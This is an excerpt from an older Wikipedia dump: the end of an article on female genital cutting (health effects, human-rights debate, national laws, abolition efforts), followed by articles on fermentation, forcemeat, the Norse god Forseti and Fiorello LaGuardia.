Practices such as infibulation, when carried out with shards of glass and other unsanitary tools, can commonly cause [[infection]]s, sometimes resulting in death or serious long term health effects. These include urinary and reproductive tract infections (caused by obstructed flow of urine and menstrual blood), various forms of scarring and [[infertility]]. First sexual intercourse will always be extremely painful, and infibulated women also need to open the labia majora carefully. Sexual pleasure through stimulation of the external part of the clitoris, almost universally regarded outside of practicing cultures as an important part of typical female sexuality, is assumed to be eliminated.  However, many circumcised women dispute this claim (see below).

Prohibition has led to FGC being undertaken without any anaesthetic or [[sterilization (surgical procedure)|sterilization]], and by persons with no medical training.  The procedure, when performed without any anaesthetic, can lead to death through [[shock]] or excessive bleeding. The failure to use sterile medical instruments can lead to infections and the spread of [[disease]], such as [[AIDS]], especially when the same instruments are used to perform procedures on multiple women.

The health consequences of FGC vary from region to region and from researcher to researcher.  An in-depth analysis by Carla Obermeyer (2003) shows that past studies, plagued by “incomplete analysis” and “inconsistent numbers”, have greatly overestimated the likelihood of serious medical complications resulting from FGC procedures (401).  She notes that there is no significant statistically represented relationship between FGC and sexually transmitted diseases/infections, infertility or birth complications (402).  Her study is not intended to portray FGC as harmless, simply to illustrate the inadequacy of the health data that anti-FGC advocates and organizations rely upon to justify their opposition.

As anthropologist Fuambai Ahmadu (2000) pointed out, her experience with ritual excision, though painful, empowered her as a woman in the Kono culture of Sierra Leone, increased her sexual sensitivity, and (due to its partial medicalization) led to no health problems beyond the initial heavy bleeding.  She claims it did not interfere with her transnational life at all (305), thus was not “anti-progress”, and argues for its complete medicalization, not elimination (304).

==Female genital cutting and human rights==

FGC enters human rights discourse primarily on the basis of three issues: informed consent, patriarchal oppression, and violence against women.  The issue of informed consent mirrors the debate about male circumcision though with far more intensity.  African feminists generally reject the imported women's rights discourse that universally adopts an assumption of male dominance, and prefer instead to realize their gender roles on their own terms.  The violence against women claim is complicated by the fact that the ritual is primarily continued by women and often against the wishes of a growing majority of men.  African feminists are aware that this issue is a convenient tool for powerful political units to manipulate in pursuing hidden agendas.

For example, [[Hillary Clinton]], then first lady, stated in 1995 at the Fourth World Conference on Women in Beijing, China that “it is a violation of human rights when young girls are brutalized by the painful and degrading practice of genital mutilation”.  The Report of the Fourth World Conference on Women (1995) makes ten mentions of female genital “mutilation” in a call to “prohibit” FGC, “enact and enforce legislation” and “give priority to…educational programmes…that emphasize the elimination of harmful attitudes and practices, including female genital mutilation…and recognizing that some of these practices can be violations of human rights and ethical medical principles”.  By legitimizing FGC as a human rights violation, the United States passed 22 U.S.C. 262k-2 [http://frwebgate.access.gpo.gov/cgi-bin/getdoc.cgi?dbname=browse_usc&amp;docid=Cite:+22USC262k-2] [http://www.law.cornell.edu/uscode/html/uscode22/usc_sec_22_00000262---k002-.html] in 1997, a broadly worded law that effectively outlaws &quot;female genital mutilation&quot; all over the world by threatening the denial of loans and aid from the eight largest international banks.

==Legal status==
FGC is prohibited in several [[Western countries]]. Not all countries ban all types of procedure. For instance Type I procedures (for medical reasons only), and any form on adult women, are openly available in the USA, whereas, in the UK there is an outright ban even on this elective surgery taken by mature adults. In [[Canada]], just running the risk of female genital mutilation is already sufficient reason to obtain the political asylum status. In [[France]], in recent years several women excising minor girls have been handed prison sentences up to five years; [http://www.droitsenfant.com/excision.htm] courts have also handed sentences between 6 and 15 months for parents. [http://www.humanite.presse.fr/journal/1999-02-17/1999-02-17-443296]

Some countries in the area of practice have also prohibited FGC but the practice goes on in secret. In many cases, the enforcement of this prohibition is a low priority for governments. Some countries have tried to medicalize the procedure while in other countries there is no prohibition.

There is a growing movement in the West to see the practice on minors prohibited throughout the world. Advocates of the procedures argue that this is an example of Western cultural imperialism, while opponents of the procedures argue that [[human rights]] are universal and not subject to cultural exceptions, and that such involuntary practices are a severe violation of human rights.  

Laws/Enforcement in Countries where FGC is Commonly Practiced, according the US State Department:

*  '''[[Burkina Faso]]''':  A law prohibiting FGC was enacted in [[1996]] and went into effect in February [[1997]]. Even before this law, however, a presidential decree had set up the National Committee against excision and imposed fines on people guilty of excising girls and women. The new law includes stricter punishment. Several women excising girls have been handed prison sentences. [http://www.monde-diplomatique.fr/1998/09/STOLZ/10970]

* '''[[Central African Republic]]''':  In [[1996]], the President issued an Ordinance prohibiting FGC throughout the country. It has the force of national law. Any violation of the Ordinance is punishable by imprisonment of from one month and one day to two years and a fine of 5,100 to 100,000 francs (approximately US$8-160). We are unaware of any arrests made under the law.

* '''[[Côte d'Ivoire]]''':  A [[December 18]], [[1998]] law provides that harm to the integrity of the genital organ of a woman by complete or partial removal, excision, desensitization or by any other procedure will, if harmful to a women's health, be punishable by imprisonment of one to five years and a fine of 360,000 to two million CFA Francs (approximately US$576-3,200). The penalty is five to twenty years incarceration if the victim dies and up to five years' prohibition of medical practice, if this procedure is carried out by a doctor.

* '''[[Djibouti]]''': FGC was outlawed in the country's revised Penal Code that went into effect in April 1995. Article 333 of the Penal Code provides that persons found guilty of this practice will face a five year prison term and a fine of one million Djibouti francs (approximately US$5,600).

* '''[[Egypt]]''': There is no law in Egypt specifically against FGC. There are provisions under the Penal Code involving &quot;wounding&quot; and &quot;intentional infliction of harm leading to death&quot;, however, that might be applicable. There have been some press reports on the prosecution of at least 13 individuals under the Penal Code, including doctors, midwives and barbers, accused of performing FGC that resulted in hemorrhage, shock and death. There also is a ministerial decree prohibiting FGC. In December [[1997]], the Court of Cassation (Egypt's highest appeals court) upheld a government banning of the practice providing that those who do not comply will be subjected to criminal and administrative punishments. Although the government banned the practice, FGM is continues in many vilages throughout Egypt, although some have decided on their own to stop, such as the Egyptian village of Abou Shawareb, which made a vow in July of 2005 stating to end the practice.

* '''[[Ghana]]''': In [[1989]], the head of the government of Ghana, President Rawlings, issued a formal declaration against FGC and other harmful traditional practices. Article 39 of Ghana's Constitution also provides in part that traditional practices that are injurious to a person's health and well being are abolished. There is the opinion by some that the law has driven the practice underground.

* '''[[Guinea]]''': FGC is illegal in Guinea under Article 265 of the Penal Code. The punishment is hard labor for life and if death results within 40 days after the crime, the perpetrator will be sentenced to death. No cases regarding the practice under the law have ever been brought to trial. Article 6 of the Guinean Constitution, which outlaws cruel and inhumane treatment, could be interpreted to include these practices, should a case be brought to the Supreme Court. A member of the Guinean Supreme Court is working with a local NGO on inserting a clause into the Guinean Constitution specifically prohibiting these practices. 

* '''[[Indonesia]]''': Officials are preparing to release a decree banning doctors and paramedics from performing FGC. FGC is still carried out extensively in Indonesia, the worlds largest Muslim nation. Azrul Azwar, The director general of community health,  stated that, &quot;All government health facilities will also be instructed to spread information about the decision as well as the redundancy of female circumcision&quot; [http://www.cbc.ca/story/world/national/2005/06/02/circumcision050602.html]

* '''[[Nigeria]]''': There is no federal law banning the practice of FGC in Nigeria. Opponents of these practices rely on Section 34(1)(a) of the [[1999]] Constitution of the Federal Republic of Nigeria that states &quot;no person shall be subjected to torture or inhuman or degrading treatment&quot; as the basis for banning the practice nationwide. A member of the House of Representatives has drafted a bill, not yet in committee, to outlaw this practice. 

* '''[[Senegal]]''': A law that was passed in January [[1999]] makes FGC illegal in Senegal. President Diouf had appealed for an end to this practice and for legislation outlawing it. The law modifies the Penal Code to make this practice a criminal act, punishable by a sentence of one to five years in prison. A spokesperson for the human rights group RADDHO (The African Assembly for the Defense of Human Rights) noted in the local press that &quot;Adopting the law is not the end, as it will still need to be effectively enforced for women to benefit from it.&quot;

* '''[[Somalia]]''': There is no national law specifically prohibiting FGC in Somalia. There are provisions of the Penal Code of the former government covering &quot;hurt&quot;, &quot;grievous hurt&quot; and &quot;very grievous hurt&quot; that might apply. In November [[1999]], the Parliament of the Puntland administration unanimously approved legislation making the practice illegal. There is no evidence, however, that this law is being enforced.

* '''[[Tanzania]]''': Section 169A of the Sexual Offences Special Provisions Act of [[1998]] prohibits FGC. Punishment is imprisonment of from five to fifteen years or a fine not exceeding 300,000 shillings (approximately US$380) or both. There have been some arrests under this legislation, but no reports of prosecutions yet.

* '''[[Togo]]''': On [[October 30]], [[1998]], the National Assembly unanimously voted to outlaw the practice of FGC. Penalties under the law can include a prison term of two months to ten years and a fine of 100,000 francs to one million francs (approximately US$160 to 1,600). A person who had knowledge that the procedure was going to take place and failed to inform public authorities can be punished with one month to one year imprisonment or a fine of from 20,000 to 500,000 francs (approximately US$32 to 800). 

* '''[[Uganda]]''': There is no law against the practice of FGC in Uganda. In [[1996]], however, a court intervened to prevent the performance of this procedure under Section 8 of the Children Statute, enacted that year, that makes it unlawful to subject a child to social or customary practices that are harmful to the child's health.

==Ending forms of female genital cutting==
Despite laws forbidding the practice, FGC has proven to be an enduring tradition difficult to overcome on the local level with deeply held cultural and sometimes political significance. For instance, prohibition of the procedure among tribes in [[Kenya]] significantly strengthened resistance to British colonial rule in the 1950s and increased support for the [[Mau Mau]] guerilla movement. During that period, the practice became even more common, as it was seen as a form of resistance towards colonial rule.

The difficulty lies significantly in the fact that the practice, as an identifying feature of indigenous culture, is intimately associated with the endogamous potential of young women. Thus for only one or a few families within a given locale to &quot;deprive&quot; their daughters of the operation is to significantly disadvantage them in finding husbands.  This damages the survivability of their culture in a hostile &quot;globalizing&quot; social environment.

Because the practice holds such cultural and marital significance, anti-&quot;circumcision&quot; activists increasingly recognize that to end the practice it is necessary to work closely with local communities.  What must happen, some have noted, is that marriage networks must give up the practice simultaneously so no individuals are handicapped, as happened, for example, under similar circumstances with the rapid abandonment of [[foot binding]] among the Chinese early in the 20th century.

Often activists working for the practice's elimination offer a universalizing psychological rational.  Working from an axiom of a &quot;normal&quot; psyche, they commonly assume that female genital cutting rituals represent deviance from a transcultural behavioral norm.  Of course, these rituals are seen in these cases as violent disfigurment, likened to child abuse and rape.  They seek to bring practitioners and &quot;victims&quot; of such &quot;barbarism&quot; to reason by convincing them that the practice was indeed a wrong-doing.  This attitude is an echo of the colonial and missionary campaigns against the practice in the first half of the 20th century.

An example of successful efforts to end the practice is occurring in Senegal, initiated by native women working at the local level in connection with the [http://www.tostan.org Tostan Project.] Since 1997, 1,271 villages (600,000 people), some 12% of the practicing population in Senegal, have voluntarily given up FGC (female genital cutting) and are also working to end early and forced marriage. This has come about through the voluntary efforts of locals carrying the message out to other villages within their marriage networks in a self-replicating process. By 2003, 563 villages had participated in public declarations, and the number continues to rise. By then, at least 23 villages in Burkina Faso had also held such community wide ceremonies, marking &quot;the first public declaration to end FGC outside of Senegal and showing the replicability of the Tostan program for large-scale abandonment of this practice&quot;. Molly Melching of TOSTAN believes that in Senegal the practice of female genital mutilation could be ended within 2-5 years. She credits the approach of education versus cultural imperialism for the rapid and significant changes which have occurred in Senegal. The approach going into Senegal was one of non judgment which allowed the men and women of Senegal to question their own traditions and make change as opposed to being put in a position where they would have felt the need to defend their traditions against the criticisms of others. 

This indigenous movement began with a few women who had participated in a literacy program that taught women skills in research, project management and social advocacy. The program also included neutrally presented facts about female reproduction and the health effects of female circumcision (see Obermeyer above for counter-point to presumed &quot;neutrality&quot;).  Students did group projects as the culmination of their 18-month training and one such group chose the topic of FGC for their project. Having received assurance from their local imam during their research that the practice was a custom and not a religious requirement, they went on to create dramatic reenactments of the suffering and deaths the practice had brought to their own lives and to share them throughout their village. At the end of a year, their entire village of some 15,000 people joined in a public ceremony to collectively reject the practice for their daughters and prospective daughters-in-law. From there, the imam and other leaders in their village began visiting other villages within the local marriage network and sharing their story. As a result, the new practice began to spread.

==Female genital cutting in popular culture==
The subject of FGC has been addressed by many prominent [[author]]s, [[singer]]s and [[actor|performers]] across the world. Some examples:
* ''[[Possessing the Secret of Joy]]'', a novel by [[Alice Walker]]
* ''[[Desert Flower]]'', a novel by [[Waris Dirie]]
* ''[[The Years of Rice and Salt]]'', a novel by [[Kim Stanley Robinson]] (Book Nine features extracts from fictional articles protesting female circumcision)
* &quot;[[Cornflake Girl]]&quot;, a song by [[Tori Amos]]
* [[Rüdiger Nehberg]]
* ''[[Moolaadé]]'', a film by [[Ousmane Sembène]]
* ''The Whole Woman'', a book by [[Germaine Greer]]
* &quot;No Laughter Here,&quot; a novel by Rita Williams-Garcia
* &quot;The Excised,&quot; a book by Evelyn Accad
* &quot;Cut&quot;[http://www.asimovs.com/Nebulas03/cut.shtml], a Short Story by [[Megan Lindholm]] 
*In an episode of the television crime drama [[Law &amp; Order]], in order to protect his daughter from female circumcision, a man kills the doctor who was hired to perform the procedure 

Also, a [[Documentary film|documentary]] entitled &quot;[[Warrior Marks]]&quot; has been done on the practice by [[Alice Walker]], the author of ''[[The Color Purple]]''. Walker subsequently wrote a book of the same name, which is about her travels and experiences while making the documentary.

==References==
* Boyle, Elizabeth H. ''Female Genital Cutting: Cultural Conflict in the Global Community''Baltimore : Johns Hopkins University Press, 2002
* Gruenbaum, Ellen. ''The Female Circumcision Controversy''Philadelphia : University of Pennsylvania Press, c2001
* Hoffman, Barbara. ''Womanhood and Circumcision: Three Maasai Women Have Their Say'' Berkeley: Berkeley Media, 2002. ([http://www.berkeleymedia.com/catalog/berkeleymedia/films/anthropology_world_cultures/african_studies/womanhood_and_circumcision_three_maasai_women_have_their_say])
* Pieters G, Lowenfels AB. &quot;Infibulation in the horn of Africa,&quot; ''N Y State J Med'' 1977;77(5):729-31.
*&lt;i&gt;Female “Circumcision” in Africa: Culture, Controversy, and Change.&lt;/i&gt;  Eds. Shell-Duncan and Hernlund.  Lynne Rienner Publishers: Boulder, 2000.
*Obermeyer, Carla Makhlouf.  The Health Consequences of Female Circumcision: Science, Advocacy, and Standards of Evidence.  &lt;i&gt;Medical Anthropology Quarterly&lt;/i&gt; 17(3), 2003.  394-412.
* Consultation on the elimination of Female Genital Mutilation: [[14 December]] -[[16 December]] [[1998]]. UNICEF, NY,1999, 40p.
*Female Genital Mutilation: Report of who Technical Working group. Geneva, 17-19, July 1995

==See also==

* [[Labiaplasty]] - a recent cosmetic and voluntary phenomenon.

==Further reading==
*[http://www.amnesty.org/ailib/intcam/femgen/fgm1.htm Female Genital Mutilation - A Human Rights Information Pack] by ''Amnesty International''
*[http://www.who.int/mediacentre/factsheets/fs241/en/index.html Female Genital Mutilation from the World Health Organization]
*[http://www.fgmnetwork.org/ The Female Genital Cutting Education and Networking Project]
* [http://www.state.gov/g/wi/rls/rep/9276.htm U.S. State Department estimates of prevalence of FGC in Africa]
* [http://www.afrol.com/Categories/Women/FGM/netscapeindex.htm Map:Prevalence of Female Genital Mutilation in Africa]
*[http://www.religioustolerance.org/fem_cirm.htm Article from ReligiousTolerance.org decrying FGC]
*[http://www.target-human-rights.com/ A Human Rights Organisation called &quot;Target&quot;, founded by Rüdiger Nehberg in 1998]
*[http://www.geocities.com/hoodectomy/MedicalStudies.htm Medical Studies on Clitoral Hood Removal]
*''Beyond the Veil: Male-Female Dynamics in a Modern Muslim Society'' (ISBN 0470596139)
*[http://www.lockmeup.com/cb/facts/pinkerton-infibulation.html Infibulation Explained] 
*[http://www.tostan.org Tostan Project] 
*[http://www.cirp.org/pages/female/pieters1 Infibulation in the Horn of Africa] 
*[http://www.npwj.org/modules.php?op=modload&amp;name=Sections&amp;file=index&amp;req=listarticles&amp;secid=11 STOP!FGM worldwide campaign of No Peace Without Justice]
*Daw, E.: &quot;Female circumcision and infibulation complicating delivery,&quot; ''Practitioner'', 204:559 (1970).
*Dewhurst, C.J., and Michealson, A. ''British Medical Journal'', 2:1442 (1964)
*Mustafa, A.Z. &quot;Female circumcision and infibulation in the Sudan&quot;, ''Journal of Obstetrics &amp; Gynaecology''. Brit. Comm., v73:302 (1966).
*Leonard, Lori. &quot;We did it for pleasure only,&quot; ''Qualitative Inquiry'', 6:2, 212-228 ([[2 November]] [[2000]]).

[[Category:Feminism]]
[[Category:Human rights]]
[[Category:Circumcision]]

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[[fr:Mutilations génitales féminines]]
[[he:מילת נשים]]
[[nl:Clitoridectomie]]
[[ja:女性器切除]]
[[pl:Obrzezanie kobiet]]
[[pt:Mutilação genital feminina]]
[[ru:Женское обрезание]]
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[[sv:Kvinnlig omskärelse]]</text>
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  <page>
    <title>Fermentation</title>
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      <comment>/* Biochemistry */ Disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">'''Fermentation''' typically refers to the conversion of [[sugar]] to [[alcohol]] using [[yeast]].  The process is often used to produce or preserve food, typically [[wine]] or [[beer]], but also includes the making of [[yoghurt|yogurt]]. The science of fermentation is known as [[zymology]]. 

In its strictest sense, '''fermentation''' (formerly called '''zymosis''') is the anaerobic metabolic breakdown of a nutrient molecule, such as glucose, without net oxidation. Fermentation does not release all the available energy in a molecule; it merely allows [[glycolysis]] (a process that yields two ATP per glucose) to continue by replenishing reduced [[coenzyme]]s. Fermentation yields [[lactate]], [[acetic acid]], [[ethanol]], or other [[redox|reduced]] [[metabolite]]s.
'''Fermentation''' is also used much more broadly to refer to the bulk growth of [[microorganism]]s on a [[growth medium]].  No distinction is made between [[Cellular respiration|aerobic]] and [[Glycolysis|anaerobic]] metabolism when the word is used in this sense.  

Fermentation usually implies that the action of the microorganisms is desirable.  Occasionally wines are enhanced through the process of [[cofermentation]].  When fermentation stops prior to complete conversion of sugar to alcohol, a [[stuck fermentation]] is said to have occurred.

==History== 
Since fruits ferment naturally, fermentation precedes human history. However, humans began to take control of the fermentation process at some point. There is strong evidence that people were fermenting beverages in [[Babylon]] circa [[5000 BC]], [[ancient Egypt]] circa [[3000 BC]], [[pre-Hispanic Mexico]] circa [[2000 BC]], and [[Sudan]] circa [[1500 BC]]. There is also evidence of leavened bread in [[ancient Egypt]] circa [[1500 BC]] and of milk fermentation in Babylon circa [[3000 BC]]. The Chinese were probably the first to develop vegetable fermentation.

==Biochemistry==
[[Fermentation]] is a process that is important in [[anaerobic exercise|anaerobic]] conditions when there is no [[oxidative phosphorylation]] to maintain the production of ATP ([[Adenosine triphosphate]]) by [[glycolysis]].  During fermentation pyruvate is metabolised to various different compounds.  Textbook examples of fermentation products are [[ethanol]] (drinkable alcohol), [[lactic acid]], and [[hydrogen]].  However, more exotic compounds can be produced by fermentation, such as [[butyric acid]] and [[acetone]].

Although the final step of fermentation (conversion of pyruvate to fermentation end-products) does not produce energy, it is critical for an anaerobic cell since it regenerates nicotinamide adenine dinucleotide (NAD&lt;sup&gt;+&lt;/sup&gt;), which is required for glycolysis. This is important for normal cellular function, as glycolysis is the only source of ATP in anaerobic conditions.

Fermentation products contain chemical energy (they are not fully oxidized) but are considered waste products since they cannot be metabolised further without the use of oxygen (or other more highly-oxidized electron acceptors). A consequence is that the production of ATP by fermentation is less efficient than oxidative phosphorylation, where pyruvate is fully oxidised to carbon dioxide.  Fermentation produces two ATP molecules per molecule of glucose compared to approximately 36 by aerobic respiration. Even in vertebrates, however, it is used as an effective means of energy production during short, intense periods of exertion, where the transport of oxygen to the muscles is insufficient to maintain aerobic metabolism. While fermentation is helpful during short, intense periods of exertion, it is not sustained over extended periods in complex aerobic organisms. In humans, for example, lactic acid fermentation provides energy for a period ranging from 30 seconds to 2 minutes. The speed at which ATP is produced is about 100 times that of [[oxidative phosphorylation]]. The pH in the [[cytoplasm]] quickly drops when [[lactic acid]] accumulates in the muscle, eventually inhibiting enzymes involved in glycolysis.

==Products==
Products produced by fermentation are actually waste products produced during the reduction of pyruvate to regenerate NAD+ in the absence of oxygen.

When yeast ferments, it breaks down the sugar(C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;12&lt;/sub&gt;O&lt;sub&gt;6&lt;/sub&gt;) into exactly two molecules of ethanol  (C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;6&lt;/sub&gt;O) and two molecules of carbon dioxide (CO&lt;sub&gt;2&lt;/sub&gt;).

* [[Ethanol fermentation]] (done by [[yeast]] and some types of [[bacterium|bacteria]]) breaks the pyruvate down into [[ethanol]] and carbon dioxide. It is important in [[bread]]-making, [[brewing]], and [[wine]]-making. When the ferment has a high concentration of [[pectin]], minute quantities of [[methanol]] can be produced. Usually only one of the products is desired; in bread the alcohol is baked out, and in alcohol production the carbon dioxide is released into the atmosphere. 
* [[Lactic acid fermentation]] breaks down the pyruvate into [[lactic acid]]. It occurs in the muscles of animals when they need energy faster than the [[blood]] can supply oxygen. It also occurs in some [[bacterium|bacteria]] and some [[fungi]]. It is this type of bacteria that convert [[lactose]] into lactic acid in [[yogurt]], giving it its sour taste. 

The burning sensation in muscles during hard exercise used to be attributed to the production of [[lactic acid]] during a shift to '''anaerobic glycolosis''', as oxygen is converted to [[carbon dioxide]] by [[aerobic glycolysis]] faster than the body can replenish it; but muscle soreness and stiffness after hard exercise is actually due to [[microtrauma]] of the [[muscle fibres]]. The body falls back on this less-efficient but faster method of producing ATP under low-oxygen conditions.  This is thought to have been the primary means of energy production in earlier organisms before oxygen was at high concentration in the atmosphere and thus would represent a more ancient form of energy production in cells. The [[liver]] later gets rid of this excess lactate by transforming it back into an important glycolysis intermediate called [[pyruvate]]. [[Aerobic glycolysis]] is a method employed by muscle cells for the production of lower-intensity energy over a longer period of time.

Bacteria generally produce acids. Vinegar ([[acetic acid]]) is the direct result of bacterial fermentation. In milk, the acid coagulates the [[casein]], producing curds. In pickling, the acid preserves the food from pathogenic and putrefactive bacteria.

==Uses==
The primary benefit of fermentation is the conversion, e.g., converting [[juice]] into [[wine]], grains into [[beer]], and [[carbohydrate]]s into [[carbon dioxide]] to leaven [[bread]].

According to Steinkraus (1995), food fermentation serves five main purposes:
#Enrichment of the diet through development of a diversity of flavors, aromas, and textures in food substrates
#Preservation of substantial amounts of food through [[lactic acid]], alcoholic, [[acetic acid]], and [[alkaline fermentation]]s
#Biological enrichment of food substrates with protein, essential [[amino acid]]s, essential [[fatty acid]]s, and vitamins
#Detoxification during food-fermentation processing
#A decrease in cooking times and fuel requirements


Fermentation has some benefits exclusive to foods. Fermentation can produce important [[nutrients]] or eliminate [[antinutrients]]. Food can be preserved by fermentation, since fermentation uses up food energy and can make conditions unsuitable for undesirable microorganisms. For example, in [[pickling]] the acid produced by the dominant bacteria inhibit the growth of all other microorganisms.  Depending on the type of [[freeze distillation|fermentation]], some products (e.g., [[fusel alcohol]]) can be harmful to people's health.


In [[alchemy]], fermentation is often the same as [[putrefaction]], meaning to allow the substance to naturally [[rot]] or [[decomposition|decompose]].

==Fermented foods, by region==
* World wide: [[alcohol]], [[wine]], [[vinegar]], [[olives]], [[yogurt]]
* [[Asia]]
** [[East Asia|East]] and [[South East Asia|South East]] Asia: [[asinan]], [[bai-ming]], [[belacan]], [[burong mangga]], [[dalok]], [[jeruk]], [[fish sauce]], [[Kimchi]](김치), [[doenjang]](된장), [[leppet-so]], [[miang]], [[nata de coco]], [[nata de pina]], [[natto]], [[naw-mai-dong]], [[pak-siam-dong]], [[paw-tsaynob in snow]] (&amp;#38634;&amp;#35041;&amp;#34171;), [[prahok]], [[sake]], [[seokbakji]], [[soy sauce]], [[szechwan cabbage]] (&amp;#22235;&amp;#24029;&amp;#27873;&amp;#33756;), [[tai-tan tsoi]], [[takuan]], [[tempeh]], [[totkal kimchi]], [[tsa tzai]], [[yen tsai]] (&amp;#37251;&amp;#33756;), [[stinky tofu]]
** [[Central Asia]]: [[kumis]] (mare milk), [[kefir]], [[shubat]] (camel milk)
** [[India]]: [[achar]], [[gundruk]], [[Mixed pickle]], [[Idli]]

* [[Africa]]: [[hibiscus]] seed, hot pepper sauce, [[lamoun makbouss]], [[mauoloh]], [[msir]], [[mslalla]], [[oilseed]], [[ogili]], [[ogiri]], [[Garri]]

* [[Americas]]: [[cheese]], [[pickling]] (pickled vegetables), [[sauerkraut]], [[lupin]] seed, [[oilseed]], [[chocolate]], [[vanilla]], [[fermented fish]], fish heads, [[walrus]], seal oil, birds (in [[Inuit]] cooking)

* [[Middle East]]: [[kushuk]], [[lamoun makbouss]], [[mekhalel]], [[torshi]], [[tursu]]

* [[Europe]]: [[cheese]], [[sauerkraut]], soured milk products such as [[Quark (food)|quark]], [[kefir]] and [[filmjölk]], [[Surströmming|fermented Baltic herring]], sausages

==See also==
* [[Industrial fermentation]] &lt;!-- the article should be written --&gt;
* [[Fermentation lock]]

==References==
*Steinkraus, K. H., Ed. (1995). Handbook of Indigenous Fermented Foods. New York, Marcel Dekker, Inc.
*The 1811 ''Household Cyclopedia''

[[Category:Oenology]]
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  <page>
    <title>Forcemeat</title>
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      <comment>{{ingredient-stub}}</comment>
      <text xml:space="preserve">'''Forcemeat''' is a mixture of ground, raw or cooked [[meat]], [[poultry]], [[fish]], [[vegetable]]s or [[fruit]] mixed with [[bread]] crumbs and seasoning. The mixture is usually ground several times to obtain a very smooth paste. A forcemeat can be used in other [[food]]s (for example for stuffing a chicken or turkey) or by itself.


==See also==
*[[Ground beef]]
*[[Pemmican]]
*[[Sausage]]


{{ingredient-stub}}

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    <title>Four Schools of Madhhab</title>
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    <title>Forseti</title>
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      <text xml:space="preserve">:''For the folk music band, see [[Forseti (band)]].''

{{unsourced}}

'''Forseti''' ([[Old Norse]] &quot;the presiding one&quot;, actually &quot;[[president]]&quot; in Modern [[Icelandic language|Icelandic]] and [[Faroese language|Faroese]]) is the [[Æsir]] god of [[justice]], [[peace]] and [[truth]] in [[Norse mythology]]. He was the son of [[Balder]] and [[Nanna]]. His home was [[Glitnir]], its name, meaning ''shining'', referring to the hall's silver ceiling and golden pillars, which radiated light that could be seen from a great distance.

Forseti was considered the wisest and most eloquent of gods of [[Asgard]]. In contrast to his fellow god [[Tyr]], who presided over the bloody affairs of [[carnal law]], Forseti presided over disputes resolved by [[mediation]]. He sat in his hall, dispensing justice to those who sought it, and was said to be able to always provide a solution that all parties considered fair.  Like his father Balder, he was a gentle god and favored peace so all judged by him could live in safety as long as they upheld his sentence. Forseti was so respected that only the most solemn oaths were uttered in his name.

He is not mentioned as a combatant at [[Ragnarok]], so it is assumed that as a god of peace he abstained from battle.

He is thought to have been the chief god or ancestor of the Frisians.

==Heligoland==

Forseti's place of worship was [[Heligoland]]. According to legend, twelve '''Asegeir''' or ''old ones'' once wandered all over [[Scandinavia]] gathering local laws. They wanted to get the best laws from all the tribes and compile them into one set of laws applicable to all of them, thus uniting them in peace. 

It is said that after gathering laws from all the regions, they embarked on a sea voyage to a remote place where they could safely discuss the process of compilation.  However, a vicious storm arose and while at the mercy of sea they invoked the name of Forseti to save them from peril. They noticed that a 13th person appeared in the boat and safely led it to a deserted island. There, the person (presumably Forseti himself) split the earth and a spring was formed. Having [[consecration|consecrated]] the place he dictated the unified [[Legal code|code of laws]] that merged all the best regulations of various local laws and suddenly vanished. [http://marklander.ravenbanner.com/forseti%20BC.html]

The island became a place of worship to Forseti and the spring was its holy place. The island's integrity was respected by all Norsemen and no warrior dared to make a raid there in fear of the punishment that would result in being cast down to the kingdom of [[Hel (goddess)|Hel]] rather than upwards to [[Valhalla]].  All major legal assemblies gathered at the island. The disputes were undertaken in the [[light]] of day only, and never in winter as it was believed that [[darkness]] was [[anathema]] to truth and just resolve.

==Other Spellings==

* German form: ''Forasizo''
* Frisian form: ''Fosite'', ''Foiste''

==See also==

[[Poetic Edda]]
----
Note that in today's [[Iceland]], the president is called a &quot;Forseti&quot;.

==References==

* {{Cite book|last=Davidson|first=H. R. Ellis|title=Gods and Myths of Northern Europe|location=England|publisher=Penguin Books|year=1990|others=orig. pub. 1965|id=ISBN 0-140-13627-4}}

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    <title>Fiorello H. LaGuardia</title>
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[[Image:la guardia.jpg|thumb|right|150px|Fiorello Henry LaGuardia]]

'''Fiorello Enrico LaGuardia''' ([[December 11]], [[1882]]&amp;ndash;[[September 20]], [[1947]]) was the [[Mayor of New York]] from [[1934]] to [[1945]]. He was popularly known as &quot;the Little Flower,&quot; the translation of his [[Italian language|Italian]] first name, also perhaps a reference to his short stature of just 5 feet. According to modern historians, LaGuardia is considered one of New York City's greatest mayors because of his role in leading New York during the Great Depression.

LaGuardia was born in [[The Bronx]] to an [[Italian people|Italian]] lapsed-[[Catholic]] father and a [[Hungary|Hungarian]] mother of [[Jewish]] origin from [[Trieste]], and he was raised an [[Episcopalian]]. His middle name was changed to '''Henry''' when he was a child. He spent most of his childhood in [[Prescott, Arizona]]. The family moved to his mother's hometown of [[Trieste, Italy]], after his father was discharged from his bandmaster position in the [[United States Army|U.S. Army]] in 1898. LaGuardia served in U.S. consulates in [[Budapest]], [[Trieste]], and [[Fiume]] (1901&amp;ndash;1906). Fiorello returned to the U.S. to continue his education at [[New York University]], and during this time he worked for [[New York Society for the Prevention of Cruelty for Children]] and as a translator for the U.S. [[Immigration and Naturalization Service|Immigration Service]] at [[Ellis Island]] (1907&amp;ndash;1910).

He became the Deputy [[Attorney General]] of [[New York]] in 1914. In 1916 he was elected to the [[U.S. House of Representatives]] where he developed a reputation as a fiery and devoted reformer. In Congress, LaGuardia represented then-Italian [[East Harlem]]. 

La Guardia briefly (1917 - 1919) served in the armed forces, commanding the [[U.S. Air Force]] on the Italian/Austrian front in [[World War I]], rising up to the rank of major.

In [[1921]] his wife died of [[tuberculosis]], LaGuardia having nursed her through the 17 month ordeal grew depressed, and turned to the bottle and spent most of the year following her death on an alcoholic binge. He recovered and became a [[teetotaler]]. 

LaGuardia ran for, and won, a seat in Congress again in [[1922]].  Extending his record as a reformer, LaGuardia sponsored labor legislation and railed against immigration quotas. He was overwhelmingly defeated by incumbent [[Jimmy Walker]] in the 1929 mayoral election. In 1932, along with Sen. [[George William Norris|George Norris]] (R-NE), Rep. LaGuardia passed the [[Norris-LaGuardia Act]].

